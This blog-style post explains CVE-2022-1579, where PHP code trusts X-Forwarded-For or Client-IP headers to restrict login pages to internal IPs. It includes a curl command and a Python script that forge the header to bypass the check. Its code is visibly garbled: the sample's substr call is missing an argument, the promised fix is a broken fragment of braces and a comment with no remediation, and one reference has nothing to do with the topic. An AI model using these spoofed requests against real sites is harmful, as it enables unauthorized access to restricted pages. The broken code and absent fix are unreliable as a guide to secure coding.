In 2022, a significant vulnerability was discovered in several PHP web applications using the check_is_login_page() function. Assigned as CVE-2022-1579, this bug highlights a classic but still frequent security oversight: trusting user-supplied HTTP headers for security controls.

This post breaks down how the flaw works, demonstrates exploitation with clear code snippets, and provides guidance for better security. Let’s unravel this issue in simple language.

What Actually Happened?

Many PHP projects use functions to detect if a client is accessing a special page, like a login page, and sometimes apply extra checks based on where the client is connecting from. A typical pattern is to only allow access from specific IPs, often using HTTP headers like X-Forwarded-For or Client-IP to determine the request’s source.

Here’s the problem: those headers can be made up by anyone!

If code checks who’s connecting *using untrusted headers*, a malicious user can simply send in a header saying they’re someone else.

Where’s the Code Issue?

The core of the bug is trusting headers like X-Forwarded-For or Client-IP for a critical check.

A typical example of the vulnerable code looks like this

function check_is_login_page() {
    // Try to get client IP from various headers
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['REMOTE_ADDR'];
    
    // Only allow logins from internal IPs
    if(substr($ip, , 7) !== "192.168") {
        die("Access Denied");
    }
    // Normal login page logic...
}

The flaw:$ip can be manipulated by sending a custom header in the HTTP request. If an attacker sets X-Forwarded-For: 192.168.1.5, the page thinks it’s a safe internal user—even if the hacker is outside!

Exploiting the Vulnerability – How Easy It Is?

Anyone can exploit the vulnerability with just a simple tool like curl.

Normal Request (Blocked)

curl https://victim.site/login.php
# Gets: Access Denied

Spoofed Request (Allowed)

curl -H "X-Forwarded-For: 192.168.1.5" https://victim.site/login.php
# Gets: Login page!

With this trick, attackers can access supposedly internal-only login pages, exposing admin panels or sensitive functions to the public internet.

Here’s a very basic Python exploit that gets around the IP restriction

import requests

url = "https://victim.site/login.php"
# Spoof the X-Forwarded-For header
headers = {"X-Forwarded-For": "192.168.1.100"}

resp = requests.get(url, headers=headers)
print(resp.text)

Result: The attacker is treated like an “internal” user and can proceed to attack the login page or protected powers.

Why Is This Dangerous?

- Bypasses internal-only controls: Admin or restricted pages meant for staff or local users are exposed.
- Combined Attacks: Once the attacker gets access, they can try brute-forcing passwords, exploiting further bugs, or stealing sensitive data.
- Quiet attacks: Since these are legit HTTP requests with fake headers, many servers don't even log them as suspicious.

Never trust user-supplied headers for security decisions!

- Use the real IP: Always use $_SERVER['REMOTE_ADDR']. Only consider X-Forwarded-For or Client-IP if you control every proxy between clients and your server. Even then, validate the proxy chain strictly.

}

// Continue normal logic...
   }

`

- Set up network firewalls: Restrict access to login pages at the network level—not just in your code!

References

- NVD Entry for CVE-2022-1579
- OWASP: Unrestricted File Upload *(Related to trusting input data)*
- StackOverflow: Difference between X-Forwarded-For and REMOTE_ADDR

Summary

CVE-2022-1579 is a great reminder: *never* trust information from clients, especially headers that can be forged easily. Critical logic—like controlling who can access an admin page—should rely only on information you absolutely trust.

If you have ever checked IP headers in your PHP (or any other language) apps, now’s the time to make sure you’re not making this mistake.


*If you found this post useful, double-check your codebase and stay secure!*

Timeline

Published on: 11/21/2022 11:15:00 UTC
Last modified on: 11/23/2022 17:32:00 UTC